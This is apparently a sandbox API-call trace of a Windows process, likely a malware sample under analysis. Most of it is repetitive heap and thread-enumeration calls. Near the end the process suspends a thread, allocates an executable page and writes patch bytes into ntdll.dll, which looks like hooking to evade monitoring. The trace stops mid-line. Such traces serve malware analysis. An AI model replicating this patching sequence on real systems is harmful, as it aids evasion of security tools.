(dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.359] GetLastError () returned 0x0 [0137.359] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] GetLastError () returned 0x0 [0137.360] SetLastError (dwErrCode=0x0) [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x94) returned 0x2aa17a0 [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x1f) returned 0x2aa1840 [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x28) returned 0x2aa1868 [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x37) returned 0x2aa1898 [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x3c) returned 0x2aa18d8 [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x31) returned 0x2aa1920 [0137.360] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x14) returned 0x2aa1960 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x24) returned 0x2aa1980 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0xd) returned 0x2aa19b0 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x17) returned 0x2aa19c8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x2b) returned 0x2aa19e8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x15) returned 0x2aa1a20 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x17) returned 0x2aa1a40 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x22) returned 0x2aa1a60 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0xe) returned 0x2aa1a90 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0xc1) returned 0x2aa1aa8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x3e) returned 0x2aa1b78 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x1b) returned 0x2aa1bc0 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x1d) returned 0x2aa1be8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x48) returned 0x2aa1c10 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x12) returned 0x2aa1c60 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x18) returned 0x2aa1c80 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x1b) returned 0x2aa1ca0 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x24) returned 0x2aa1cc8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x29) returned 0x2aa1cf8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x1e) returned 0x2aa1d30 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x6b) returned 0x2aa1d58 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x17) returned 0x2aa1dd0 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0xf) returned 0x2aa1df0 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x16) returned 0x2aa1e08 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x28) returned 0x2aa1e28 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x27) returned 0x2aa1e58 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x12) returned 0x2aa1e88 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x21) returned 0x2aa1ea8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x10) returned 0x2aa1ed8 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x1c) returned 0x2aa1ef0 [0137.361] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x12) returned 0x2aa1f18 [0137.361] HeapFree (in: hHeap=0x2aa0000, dwFlags=0x0, lpMem=0x2aa07c8 | out: hHeap=0x2aa0000) returned 1 [0137.362] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x80) returned 0x2aa1f38 [0137.363] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x8, Size=0x800) returned 0x2aa1fc0 [0137.363] RtlSizeHeap (HeapHandle=0x2aa0000, Flags=0x0, MemoryPointer=0x2aa1f38) returned 0x80 [0137.367] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x50) returned 0x2aa07c8 [0137.367] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x2c) returned 0x2aa0820 [0137.368] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x100) returned 0x2aa0858 [0137.368] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x1c) returned 0x2aa0960 [0137.368] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x4c) returned 0x2aa0988 [0137.368] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x148 [0137.374] Thread32First (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.375] GetCurrentProcessId () returned 0xc14 [0137.375] GetCurrentThreadId () returned 0x390 [0137.375] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.375] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.376] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.377] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.378] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.378] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.379] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.380] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.380] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.385] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.386] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.386] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.387] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.457] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.457] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.458] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.459] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.460] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.461] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.461] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.462] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.463] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.463] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.464] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.465] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.465] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.466] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.467] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.468] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.468] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.469] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.470] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.470] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.471] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.472] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.472] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.473] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.474] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.475] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.475] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.476] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.477] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.477] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.478] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.479] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.479] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.480] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.481] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.482] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.482] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.483] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.484] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.484] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.485] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.486] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.487] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.487] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.488] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.489] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.489] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.490] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.491] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.491] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.492] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.493] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.493] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.494] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.495] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.495] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.496] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.497] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.498] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.499] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.499] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.500] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.501] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.501] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.502] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.503] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.503] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.504] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.505] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.506] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.506] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.507] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.508] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.508] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.509] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.510] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.510] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.511] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.512] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.512] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.513] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.514] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.515] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.515] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.516] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.517] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.517] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.518] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.519] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.519] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.521] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.522] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.522] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.523] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.524] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.538] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.539] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.539] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.540] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.541] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.541] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.542] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.543] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.543] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.544] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.545] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.546] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.546] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.547] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.548] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.548] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.549] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.550] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.551] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.551] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.552] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.553] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.553] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.554] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.555] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.555] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.556] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.557] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.557] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.558] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.559] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.559] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.561] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.561] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.562] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.563] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.563] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.564] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.565] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.565] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.566] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.567] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.567] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.568] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.569] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.569] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.570] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.571] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.571] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.572] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.573] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.573] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.590] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.590] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.592] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.592] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.593] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.594] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.594] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.595] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.596] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.596] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.597] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.598] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.598] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.599] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.600] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.600] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.601] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.602] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.603] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.603] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.604] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.605] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.605] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.606] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.607] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.608] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.608] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.609] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.610] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.610] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.611] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.612] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.612] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.613] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.614] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.614] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.615] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.616] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.617] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.617] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.618] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.619] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.619] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.620] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.621] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.622] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.654] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.655] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.655] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.656] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.657] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.657] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.658] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.659] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.660] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.660] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.661] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.662] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.662] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.663] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.664] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.664] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.665] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.666] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.667] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.667] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.668] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.669] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.669] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.670] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.671] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.671] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.672] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.673] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.673] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.674] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.675] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.675] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.676] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.677] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.677] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.678] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.679] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.680] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.680] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.681] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.682] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.682] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0137.683] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0138.001] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0xc70) returned 0x14c [0138.001] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x4) returned 0x2aa09e0 [0138.001] CloseHandle (hObject=0x148) returned 1 [0138.002] SuspendThread (hThread=0x14c) returned 0x0 [0138.002] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa09f0 [0138.002] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xa) returned 0x2aa0a08 [0138.003] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0138.003] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa0a20 [0138.004] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x12) returned 0x2aa0a38 [0138.005] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa0a58 [0138.005] GetSystemInfo (in: lpSystemInfo=0x19e958 | out: lpSystemInfo=0x19e958*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0138.005] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x1e0000 [0138.006] GetCurrentProcess () returned 0xffffffff [0138.006] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1e0005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.006] GetCurrentProcess () returned 0xffffffff [0138.006] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1e000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0138.006] GetCurrentProcess () returned 0xffffffff [0138.006] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c0ff60, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0138.007] VirtualProtect (in: lpAddress=0x1e0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0138.007] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x4) returned 0x2aa0a70 [0138.008] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0xc) returned 0x2aa0a80 [0138.008] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x12) returned 0x2aa0a98 [0138.009] RtlAllocateHeap (HeapHandle=0x2aa0000, Flags=0x0, Size=0x10) returned 0x2aa0ab8 [0138.009] 